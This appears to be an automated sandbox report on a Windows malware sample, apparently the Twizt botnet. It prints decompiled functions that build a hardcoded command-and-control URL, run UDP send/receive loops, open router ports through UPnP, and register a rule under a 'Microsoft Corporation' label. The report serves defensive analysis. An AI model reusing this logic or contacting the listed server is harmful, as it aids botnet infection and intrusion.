Sleep.KERNELBASE(000003E8), ref: 00405D54
Sleep.KERNELBASE(000003E8), ref: 00405D83
wsprintfA.USER32 ref: 00405DA8
Sleep.KERNELBASE(000DBBA0), ref: 00405DEB

Strings

http://185.215.113.66/, xrefs: 00405D97
%s%s, xrefs: 00405D9C

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Sleep$wsprintf
String ID: %s%s$http://185.215.113.66/
API String ID: 3195947292-2646931437
Opcode ID: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction ID: 33448fd8f16b6151abdcaf40b6ca2b1b809edec1cb8df60be6306fd5b5127b81
Opcode Fuzzy Hash: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction Fuzzy Hash: 22213B70E00318AFCB50DF64DD45BDEBBB4AF09304F1080ABD24DB6281DB785A898F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
networkCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040DBD0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408B20(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408C70(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10); // executed
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408C70(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408C70(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DC27
htons.WS2_32(?), ref: 0040DC50
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DC78
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DC8D

Strings

pdu, xrefs: 0040DBEF

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 00fe08272ed9c7b572648fe8f30bd67711d724d5716b1731dde4f50e85e3541e
Instruction ID: 1900bc5e36bec968277d7fd378407ddad580e15f752f42e7870c86cf4b77d333
Opcode Fuzzy Hash: 00fe08272ed9c7b572648fe8f30bd67711d724d5716b1731dde4f50e85e3541e
Instruction Fuzzy Hash: 2F31E1766083009FD710DFA9D880A9BB7E4AF89714F04456EF99897382D674CD08CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD0(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;
				int _t18;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2 && (_v1056 <= 3 || _v1056 == 6)) {
					if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0) {
						_t18 = StrCmpNW( &_v1052, L"\\??\\", 4); // executed
						if(_t18 == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}

0x00404be3
0x00404be9
0x00404bf6
0x00404c24
0x00404c34
0x00404c3c
0x00404c3e
0x00404c3e
0x00404c3c
0x00404c24
0x00404c4b

APIs

GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD
QueryDosDeviceW.KERNEL32(00404C8F,?,00000208), ref: 00404C1C
StrCmpNW.KERNELBASE(?,\??\,00000004), ref: 00404C34

Strings

\??\, xrefs: 00404C28

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction ID: 6661d798698d2c2b86e5031d8900814977fd28410c715a717113d467a9626b5b
Opcode Fuzzy Hash: 84def6f5971ed18c5027915d3437ea3a00eaa7db189a83ce85c670b15ed75c6e
Instruction Fuzzy Hash: 26014FB494520CEBDF64CF95CE48AD977B4AB84701F0081BAAB05A7280D6789EC5CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAD0 Relevance: 6.1, APIs: 4, Instructions: 84
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040DAD0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23); // executed
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408B60(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36); // executed
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D9A0(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408C70(_t34);
			}

APIs

ioctlsocket.WS2_32 ref: 0040DAFB
recvfrom.WS2_32 ref: 0040DB68
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DB7E
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DB9F

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction ID: 93b40cc26d049a7996018c96e8ad19021b123b172151b20c2622c6b09396bf40
Opcode Fuzzy Hash: 42d21b16754e23747dafd69a251c4984d532d74facc10c73496740973b16efae
Instruction Fuzzy Hash: 33216FB1904305AFD314DF65DC84A6BB7E8EF84314F004A3EF459A2291E774A9488BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA0 Relevance: 6.0, APIs: 4, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,0040652D), ref: 00405BA8
SysAllocString.OLEAUT32(004169D8), ref: 00405BB3
CoUninitialize.OLE32 ref: 00405BD8

Part of subcall function 00405910: SysFreeString.OLEAUT32(00000000), ref: 00405B28

SysFreeString.OLEAUT32(00000000), ref: 00405BD2

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID:
API String ID: 459949847-0
Opcode ID: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction ID: 8e1ceaac5e3c15648392f9261d8fa4bd32f1c3ccaf3a14fdf2aec8c3e2deeebf
Opcode Fuzzy Hash: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction Fuzzy Hash: C9E048B5940208FBD704EBE0DD0EB9D7774DB05305F1041B5F50566291DAF99E80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00405910 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405910(intOrPtr _a4) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr* _v28;
				void* _v32;
				short _v36;
				char _v40;
				intOrPtr _t95;
				void* _t101;
				void* _t103;
				intOrPtr _t110;
				void* _t118;
				void* _t199;
				void* _t200;

				_v28 = 0;
				_v32 = 0;
				_v16 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				while(1) {
					_t95 = E004058C0(0x4120d4, 0x4120e4); // executed
					_t200 = _t199 + 8;
					_v28 = _t95;
					if(_v28 == 0) {
						break;
					}
					_push( &_v32);
					_push(_v28);
					if( *((intOrPtr*)( *((intOrPtr*)( *_v28 + 0x1c))))() == 0) {
						_t101 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 0x1c))))(_v32,  &_v16); // executed
						if(_t101 == 0) {
							_t103 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x20))))(_v16,  &_v36); // executed
							if(_t103 == 0) {
								if(_v36 == 0xffffffff) {
									_push( &_v12);
									_push(_v16);
									if( *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x50))))() == 0) {
										_push( &_v24);
										_push(_a4);
										_push(_v12);
										if( *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x28))))() != 0) {
											_t110 = E004058C0(0x4120f4, 0x412104);
											_t199 = _t200 + 8;
											_v24 = _t110;
											if(_v24 != 0) {
												__imp__#2(L"Microsoft Corporation");
												_v8 = _t110;
												if(_v8 != 0) {
													_push(_v8);
													_push(_v24);
													if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x20))))() == 0) {
														_push(_a4);
														_push(_v24);
														if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x28))))() == 0) {
															_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
															if(_t118 == 0) {
																 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x20))))(_v12, _v24);
																_t118 = 0;
																if(0 != 0) {
																	continue;
																}
																L34:
																if(_v20 != 0) {
																	_t118 = E00408C70(_v20);
																}
																if(_v8 != 0) {
																	__imp__#6(_v8);
																}
																if(_v24 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
																}
																if(_v12 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
																}
																if(_v16 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
																}
																if(_v32 != 0) {
																	_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v32 + 8))))(_v32);
																}
																if(_v28 == 0) {
																	return _t118;
																} else {
																	return  *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
																}
															}
															goto L34;
														}
														goto L34;
													}
													goto L34;
												}
												goto L34;
											}
											goto L34;
										}
										_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x44))))(_v24,  &_v36);
										if(_t118 == 0) {
											if(_v36 != 0xffffffff) {
												 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x48))))(_v24, 0xffffffff);
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
											} else {
												_v40 = 0;
												_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x34))))(_v24,  &_v40);
												if(_t118 == 0 && _v40 != 0) {
													_t118 =  *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x38))))(_v24, 0);
												}
											}
										}
										goto L34;
									}
									goto L34;
								}
								goto L34;
							}
							goto L34;
						}
						goto L34;
					}
					goto L34;
				}
				goto L34;
			}

0x00405916
0x0040591d
0x00405924
0x0040592b
0x00405932
0x00405939
0x00405940
0x00405947
0x00405951
0x00405956
0x00405959
0x00405960
0x00000000
0x00000000
0x0040596a
0x00405973
0x0040597b
0x00405992
0x00405996
0x004059ad
0x004059b1
0x004059bf
0x004059c9
0x004059d2
0x004059da
0x004059e4
0x004059e8
0x004059f1
0x004059f9
0x00405a83
0x00405a88
0x00405a8b
0x00405a92
0x00405a9b
0x00405aa1
0x00405aa8
0x00405aaf
0x00405ab8
0x00405ac0
0x00405ac7
0x00405ad0
0x00405ad8
0x00405aea
0x00405aee
0x00405b02
0x00405b04
0x00405b06
0x00000000
0x00000000
0x00405b0c
0x00405b10
0x00405b16
0x00405b1b
0x00405b22
0x00405b28
0x00405b28
0x00405b32
0x00405b40
0x00405b40
0x00405b46
0x00405b54
0x00405b54
0x00405b5a
0x00405b68
0x00405b68
0x00405b6e
0x00405b7c
0x00405b7c
0x00405b82
0x00405b95
0x00405b84
0x00000000
0x00405b90
0x00405b82
0x00000000
0x00405af0
0x00000000
0x00405ada
0x00000000
0x00405ac2
0x00000000
0x00405aaa
0x00000000
0x00405a94
0x00405a0b
0x00405a0f
0x00405a1d
0x00405a62
0x00405a72
0x00405a1f
0x00405a1f
0x00405a36
0x00405a3a
0x00405a50
0x00405a50
0x00405a52
0x00405a74
0x00000000
0x00405a0f
0x00000000
0x004059dc
0x00000000
0x004059c1
0x00000000
0x004059b3
0x00000000
0x00405998
0x00000000
0x0040597d
0x00000000

APIs

Part of subcall function 004058C0: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 004058E0

SysFreeString.OLEAUT32(00000000), ref: 00405B28

Strings

Microsoft Corporation, xrefs: 00405A96

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction ID: b966d8a815279bea9682a753b9e4a3ce538f0dcc0c86578e863b9189ac0295eb
Opcode Fuzzy Hash: 5101201dcff8a4348e4f4b8b21c8e9287c00567db6cdf25e3dc099c263020228
Instruction Fuzzy Hash: 1691BA75A0050ADFCB04DB98C994EAFB7B5EF88304F208269E515B73A0D778AE41CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040D020 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040D020() {
				intOrPtr _v8;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t20;
				intOrPtr _t26;
				intOrPtr _t31;
				void* _t36;
				void* _t37;

				__imp__CoInitializeEx(0, 2); // executed
				_v12 = 0;
				_t20 = E0040C580( &_v12,  &_v12); // executed
				_t37 = _t36 + 4;
				_v8 = _t20;
				if(_v8 != 0) {
					_v16 = 0;
					while(_v16 < _v8) {
						_t20 = E0040CC30( *((intOrPtr*)(_v12 + _v16 * 4)));
						_t37 = _t37 + 4;
						 *0x416e24 = _t20;
						if( *0x416e24 == 0) {
							_v16 = _v16 + 1;
							continue;
						}
						_v20 = E00409540();
						_t31 =  *0x416e24; // 0x0
						E0040CFA0(_t31, _t31, "TCP", 0x9e34, _v20);
						_t26 =  *0x416e24; // 0x0
						_t20 = E0040CFA0(_t31, _t26, "UDP", 0x9e34, _v20);
						_t37 = _t37 + 0x20;
						break;
					}
					return E00408D90(_t20, _v8, _v12, _v8);
				}
				return _t20;
			}

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00406528), ref: 0040D02A

Part of subcall function 0040C580: socket.WS2_32(00000002,00000002,00000011), ref: 0040C59A
Part of subcall function 0040C580: htons.WS2_32(0000076C), ref: 0040C5D0
Part of subcall function 0040C580: inet_addr.WS2_32(239.255.255.250), ref: 0040C5DF
Part of subcall function 0040C580: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040C5FD
Part of subcall function 0040C580: bind.WS2_32(000000FF,?,00000010), ref: 0040C633
Part of subcall function 0040C580: lstrlenA.KERNEL32(00410578,00000000,?,00000010), ref: 0040C64C
Part of subcall function 0040C580: sendto.WS2_32(000000FF,00410578,00000000), ref: 0040C65B
Part of subcall function 0040C580: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040C675

Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
Part of subcall function 0040CC30: SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

UDP, xrefs: 0040D0B8
TCP, xrefs: 0040D09B

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction ID: d6482cf8f8518ba90fc7d027882e0c52926dc77542800e56e9404f82e9eb0b53
Opcode Fuzzy Hash: 014f018b2ad0d604453ca6d4d42fb9b10cc54ad83f4ff0cd62ecb7ebe3116a6f
Instruction Fuzzy Hash: E811E4B4D01208EBD700EFE4EC45BAE7775AB04308F10866EE505772C2E679AE45CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B700 Relevance: 4.6, APIs: 3, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040B700(LONG* _a4, intOrPtr _a8) {
				char _v5;
				intOrPtr _v12;
				signed int _v13;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				signed char _t43;
				signed char _t48;
				intOrPtr _t49;
				signed char _t53;
				intOrPtr _t72;
				void* _t80;
				void* _t81;
				void* _t84;

				if(InterlockedExchangeAdd(_a4, 0) == 0) {
					_v5 = 0;
					_t38 = E0040B610(_t37, _a4[1]); // executed
					_t81 = _t80 + 4;
					_v12 = _t38;
					if(_v12 == 0xffffffff) {
						L18:
						return _v5;
					}
					InterlockedIncrement(_a4);
					while(1) {
						_t72 =  *0x416e14; // 0x8578a86d
						_t43 = E0040A0B0(_v12, 0, _t72, 0, _a8, E0040B4E0, 0);
						_t81 = _t81 + 0x1c;
						_t63 = _t43 & 0x000000ff;
						if((_t43 & 0x000000ff) == 0) {
							break;
						}
						_v13 = 1;
						while((_v13 & 0x000000ff) != 0) {
							_v13 = 0;
							_t48 = E0040B540(_v12,  &_v20, 4, 0x2710);
							_t81 = _t81 + 0x10;
							if((_t48 & 0x000000ff) == 0 || _v20 == 0) {
								L15:
								continue;
							} else {
								_t49 = E00408B20(_v20);
								_t81 = _t81 + 4;
								_v24 = _t49;
								if(_v24 != 0) {
									_t53 = E0040B540(_v12, _v24, _v20, E0040B6A0(_v20));
									_t84 = _t81 + 0x14;
									if((_t53 & 0x000000ff) != 0) {
										E0040A210(_v12, _v24, _v20, _a4[1], E0040B4E0, 0, 0);
										_t84 = _t84 + 0x1c;
										_v13 = 1;
									}
									E00408C70(_v24);
									_t81 = _t84 + 4;
									goto L15;
								}
								break;
							}
						}
						_v5 = 1;
						if(0 != 0) {
							continue;
						}
						L17:
						InterlockedDecrement(_a4);
						E00409600(_v12);
						goto L18;
					}
					E004094E0(_t63, _a4[1]);
					_t81 = _t81 + 4;
					goto L17;
				}
				return 0;
			}

0x0040b714
0x0040b71d
0x0040b728
0x0040b72d
0x0040b730
0x0040b737
0x0040b856
0x00000000
0x0040b856
0x0040b741
0x0040b747
0x0040b754
0x0040b761
0x0040b766
0x0040b769
0x0040b76e
0x00000000
0x00000000
0x0040b784
0x0040b788
0x0040b794
0x0040b7a7
0x0040b7ac
0x0040b7b4
0x0040b82f
0x00000000
0x0040b7bc
0x0040b7c0
0x0040b7c5
0x0040b7c8
0x0040b7cf
0x0040b7ec
0x0040b7f1
0x0040b7f9
0x0040b817
0x0040b81c
0x0040b81f
0x0040b81f
0x0040b827
0x0040b82c
0x00000000
0x0040b82c
0x00000000
0x0040b7d1
0x0040b7b4
0x0040b834
0x0040b83a
0x00000000
0x00000000
0x0040b840
0x0040b844
0x0040b84e
0x00000000
0x0040b853
0x0040b777
0x0040b77c
0x00000000
0x0040b77c
0x00000000

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040B70C
InterlockedIncrement.KERNEL32(000000FF), ref: 0040B741
InterlockedDecrement.KERNEL32(000000FF), ref: 0040B844

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: d8bd5f4fde6e2c2cda0502113094fae3b63ed410664164e1be8e0a63438e26b6
Instruction ID: db0459fb64bb370bce4e0a30eccd781bcd80949e3aac1fb63126087b8d08ccea
Opcode Fuzzy Hash: d8bd5f4fde6e2c2cda0502113094fae3b63ed410664164e1be8e0a63438e26b6
Instruction Fuzzy Hash: 904171B5E00208ABDB04EBA4D845BAF7778AB44308F14856DF5056B3C2E7799A41C7EE

Uniqueness

Uniqueness Score: -1.00%

Function 00409EC0 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409EC0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				char _v9;
				intOrPtr _v16;
				intOrPtr _t23;

				_t23 = E0040A8F0(__ecx); // executed
				 *((intOrPtr*)(_a8 + 4)) = _t23;
				_t4 = _a8 + 0x14; // 0x1023d00
				 *_a8 = E00408E40(_a8 + 4,  *_t4 + 0x14);
				_v9 = 0;
				_t9 = _a8 + 0x14; // 0x1023d00
				_v16 =  *_t9 + 0x18;
				_v8 = E0040AB80( *_t9 + 0x18, "Twizt", lstrlenA("Twizt"), _a8, _v16);
				if(_v8 != 0) {
					_v9 = _a12(_a4, _v8, _v16, _a16);
					E00408C70(_v8);
				}
				return _v9;
			}

0x00409ec6
0x00409ece
0x00409ed4
0x00409eed
0x00409eef
0x00409ef6
0x00409efc
0x00409f20
0x00409f27
0x00409f3c
0x00409f43
0x00409f48
0x00409f51

APIs

lstrlenA.KERNEL32(Twizt,0040BF79,0040BF79,?,?,0040BF79,00000000,0040BF79,0040BF79,00000000,00000000), ref: 00409F0C

Strings

Twizt, xrefs: 00409F13
Twizt, xrefs: 00409F07

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
